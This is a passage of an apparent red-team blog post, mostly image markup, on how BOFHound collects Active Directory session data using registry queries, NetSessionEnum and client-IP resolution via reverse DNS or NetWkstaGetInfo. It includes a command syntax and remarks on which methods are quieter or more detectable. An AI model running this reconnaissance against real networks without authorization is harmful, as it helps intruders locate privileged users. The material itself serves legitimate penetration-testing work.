data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/cfb0b8c5-e518-4d79-baaf-a8bbd2200224_1000x756.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:756,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!s0Ps!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcfb0b8c5-e518-4d79-baaf-a8bbd2200224_1000x756.png 424w, https://substackcdn.com/image/fetch/$s_!s0Ps!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcfb0b8c5-e518-4d79-baaf-a8bbd2200224_1000x756.png 848w, https://substackcdn.com/image/fetch/$s_!s0Ps!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcfb0b8c5-e518-4d79-baaf-a8bbd2200224_1000x756.png 1272w, https://substackcdn.com/image/fetch/$s_!s0Ps!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcfb0b8c5-e518-4d79-baaf-a8bbd2200224_1000x756.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption"><em>Figure 3&#8202;&#8212;&#8202;HKEY_USERS</em> Subkeys Indicating Sessions</figcaption></figure></div><p>These correspond to the <em>GERALT</em>, <em>SQLSVC</em>, and <em>DANDELION </em>domain users seen in the output from the <code>netloggedon</code> BOF. Running the <code>regsession</code> BOF (based on the SA <code>reg_query</code> BOF), these three SIDs are obtained from the remote <code>HKEY_USERS</code> hive (Figure 4).</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!zJGS!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F762fce2e-a00c-4e4a-b5ec-dc63c7538017_963x579.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!zJGS!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F762fce2e-a00c-4e4a-b5ec-dc63c7538017_963x579.png 424w, https://substackcdn.com/image/fetch/$s_!zJGS!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F762fce2e-a00c-4e4a-b5ec-dc63c7538017_963x579.png 848w, https://substackcdn.com/image/fetch/$s_!zJGS!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F762fce2e-a00c-4e4a-b5ec-dc63c7538017_963x579.png 1272w, https://substackcdn.com/image/fetch/$s_!zJGS!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F762fce2e-a00c-4e4a-b5ec-dc63c7538017_963x579.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!zJGS!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F762fce2e-a00c-4e4a-b5ec-dc63c7538017_963x579.png" width="963" height="579" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/762fce2e-a00c-4e4a-b5ec-dc63c7538017_963x579.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:579,&quot;width&quot;:963,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!zJGS!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F762fce2e-a00c-4e4a-b5ec-dc63c7538017_963x579.png 424w, https://substackcdn.com/image/fetch/$s_!zJGS!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F762fce2e-a00c-4e4a-b5ec-dc63c7538017_963x579.png 848w, https://substackcdn.com/image/fetch/$s_!zJGS!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F762fce2e-a00c-4e4a-b5ec-dc63c7538017_963x579.png 1272w, https://substackcdn.com/image/fetch/$s_!zJGS!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F762fce2e-a00c-4e4a-b5ec-dc63c7538017_963x579.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Figure 4&#8202;&#8212;&#8202;Sessions Gathered With Registry&nbsp;Queries</figcaption></figure></div><p>While maybe less visually appealing, BOFHound benefits from this session enumeration method returning user SIDs directly, meaning there is no need to obtain a matching SID via user object lookups on the <code>sAMAccountName</code> attribute. Local account SIDs will also show up here, but BOFHound will ignore them.</p><h3>Session Enumeration</h3><p>The final session enumeration method leverages the <code>NetSessionEnum</code> API and differs from the other methods for two reasons. First, it <em>may</em> not require local admin rights over the target to execute. Admin rights are required from Server 2016 onward and Windows 10 version 1607 onward (by default). Second, it doesn&#8217;t show users logged into the targeted system, but instead reveals the client IP a user has established a session on your targeted system from. One example of this is share browsing; a user browsing a remote file server is not &#8220;logged on&#8221; to the file server, but has established a session from their client (where the logon actually is) (Figure 5).</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Zu1G!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3cb74c44-042d-4dcf-b8fb-417460d539f6_1000x241.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Zu1G!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3cb74c44-042d-4dcf-b8fb-417460d539f6_1000x241.png 424w, https://substackcdn.com/image/fetch/$s_!Zu1G!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3cb74c44-042d-4dcf-b8fb-417460d539f6_1000x241.png 848w, https://substackcdn.com/image/fetch/$s_!Zu1G!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3cb74c44-042d-4dcf-b8fb-417460d539f6_1000x241.png 1272w, https://substackcdn.com/image/fetch/$s_!Zu1G!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3cb74c44-042d-4dcf-b8fb-417460d539f6_1000x241.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Zu1G!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3cb74c44-042d-4dcf-b8fb-417460d539f6_1000x241.png" width="1000" height="241" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3cb74c44-042d-4dcf-b8fb-417460d539f6_1000x241.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:241,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Zu1G!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3cb74c44-042d-4dcf-b8fb-417460d539f6_1000x241.png 424w, https://substackcdn.com/image/fetch/$s_!Zu1G!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3cb74c44-042d-4dcf-b8fb-417460d539f6_1000x241.png 848w, https://substackcdn.com/image/fetch/$s_!Zu1G!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3cb74c44-042d-4dcf-b8fb-417460d539f6_1000x241.png 1272w, https://substackcdn.com/image/fetch/$s_!Zu1G!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3cb74c44-042d-4dcf-b8fb-417460d539f6_1000x241.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">Figure 5&#8202;&#8212;&#8202;Example NetSessionEnum Workflow</figcaption></figure></div><p>Somewhat problematic for BOFHound, the API call returns the client the user established the session from as an IP which is unable to be matched to a LDAP search result. Modifications to the <code>netsession</code> BOF include options for resolving returned client IPs to DNS names or computer names.</p><h4>Option 1: Reverse DNS&nbsp;Lookups</h4><p>This is the default resolution method that will be used if one is not explicitly specified. A reverse DNS lookup is attempted using the client IP address, in hopes of returning a FQDN (again, to match to a computer object&#8217;s <code>dNSHostName</code> attribute from LDAP).</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!8LUY!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c8a4e89-fdbf-413f-8896-3cf4b3c3933e_977x734.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!8LUY!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c8a4e89-fdbf-413f-8896-3cf4b3c3933e_977x734.png 424w, https://substackcdn.com/image/fetch/$s_!8LUY!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c8a4e89-fdbf-413f-8896-3cf4b3c3933e_977x734.png 848w, https://substackcdn.com/image/fetch/$s_!8LUY!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c8a4e89-fdbf-413f-8896-3cf4b3c3933e_977x734.png 1272w, https://substackcdn.com/image/fetch/$s_!8LUY!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c8a4e89-fdbf-413f-8896-3cf4b3c3933e_977x734.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!8LUY!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c8a4e89-fdbf-413f-8896-3cf4b3c3933e_977x734.png" width="977" height="734" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/9c8a4e89-fdbf-413f-8896-3cf4b3c3933e_977x734.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:734,&quot;width&quot;:977,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!8LUY!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c8a4e89-fdbf-413f-8896-3cf4b3c3933e_977x734.png 424w, https://substackcdn.com/image/fetch/$s_!8LUY!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c8a4e89-fdbf-413f-8896-3cf4b3c3933e_977x734.png 848w, https://substackcdn.com/image/fetch/$s_!8LUY!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c8a4e89-fdbf-413f-8896-3cf4b3c3933e_977x734.png 1272w, https://substackcdn.com/image/fetch/$s_!8LUY!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c8a4e89-fdbf-413f-8896-3cf4b3c3933e_977x734.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Figure 6&#8202;&#8212;&#8202;Sessions Gathered with <code>NetSessionEnum </code>and DNS Resolution</figcaption></figure></div><p>During lab setup, I used the <em>ADMINISTRATOR</em> user to map a share on <em>OXENFURT</em> from <em>TRETOGOR</em> to simulate a session for the results. The second result, for the user <em>CIRI,</em> is just a result of running the BOF from the <em>CINTRA</em> host.</p><p>A specific DNS server can also be used with the syntax <code>netsession2 &lt;target&gt; 1 &lt;DNS Server&gt;</code>.</p><p>Reverse DNS lookup is the default option because it&#8217;s quieter than making connections to each remote client; however, it depends on reverse lookup zones being configured. In the DNS Manager snap-in, you can see the PTR records that allow the lookup to be successful (Figure 7).</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Ft3J!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7dae0be2-6cce-4397-8846-00192a13744d_1000x289.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Ft3J!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7dae0be2-6cce-4397-8846-00192a13744d_1000x289.png 424w, https://substackcdn.com/image/fetch/$s_!Ft3J!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7dae0be2-6cce-4397-8846-00192a13744d_1000x289.png 848w, https://substackcdn.com/image/fetch/$s_!Ft3J!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7dae0be2-6cce-4397-8846-00192a13744d_1000x289.png 1272w, https://substackcdn.com/image/fetch/$s_!Ft3J!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7dae0be2-6cce-4397-8846-00192a13744d_1000x289.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Ft3J!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7dae0be2-6cce-4397-8846-00192a13744d_1000x289.png" width="1000" height="289" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7dae0be2-6cce-4397-8846-00192a13744d_1000x289.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:289,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Ft3J!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7dae0be2-6cce-4397-8846-00192a13744d_1000x289.png 424w, https://substackcdn.com/image/fetch/$s_!Ft3J!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7dae0be2-6cce-4397-8846-00192a13744d_1000x289.png 848w, https://substackcdn.com/image/fetch/$s_!Ft3J!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7dae0be2-6cce-4397-8846-00192a13744d_1000x289.png 1272w, https://substackcdn.com/image/fetch/$s_!Ft3J!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7dae0be2-6cce-4397-8846-00192a13744d_1000x289.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Figure 7&#8202;&#8212;&#8202;Reverse Lookup Zone Configuration</figcaption></figure></div><h4>Option 2: NetWkstaGetInfo</h4><p>In the event that reverse lookup zones are not configured, the second resolution method available involves calling the <code>NetWkstaGetInfo</code> API. This is not the default method because it involves creating a SMB connection to each client associated with a session to retrieve the client&#8217;s NetBIOS computer name and NetBIOS domain name. Depending on the host you enumerate sessions on, this may cause an excess number of SMB connections to remote hosts (another potential SharpHound indicator).</p><p>This resolution method can be specified with a <code>2</code> for the resolution method argument (Figure 8).</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!tHtu!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14e5ad62-b370-41f8-99a8-7efe69e4f9c7_952x787.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!tHtu!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14e5ad62-b370-41f8-99a8-7efe69e4f9c7_952x787.png 424w, https://substackcdn.com/image/fetch/$s_!tHtu!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14e5ad62-b370-41f8-99a8-7efe69e4f9c7_952x787.png 848w, https://substackcdn.com/image/fetch/$s_!tHtu!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14e5ad62-b370-41f8-99a8-7efe69e4f9c7_952x787.png 1272w, https://substackcdn.com/image/fetch/$s_!tHtu!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14e5ad62-b370-41f8-99a8-7efe69e4f9c7_952x787.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!tHtu!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14e5ad62-b370-41f8-99a8-7efe69e4f9c7_952x787.png" width="952" height="787" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/14e5ad62-b370-41f8-99a8-7efe69e4f9c7_952x787.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:787,&quot;width&quot;:952,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!tHtu!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14e5ad62-b370-41f8-99a8-7efe69e4f9c7_952x787.png 424w, https://substackcdn.com/image/fetch/$s_!tHtu!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14e5ad62-b370-41f8-99a8-7efe69e4f9c7_952x787.png 848w, https://substackcdn.com/image/fetch/$s_!tHtu!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14e5ad62-b370-41f8-99a8-7efe69e4f9c7_952x787.png 1272w, https://substackcdn.com/image/fetch/$s_!tHtu!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14e5ad62-b370-41f8-99a8-7efe69e4f9c7_952x787.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" 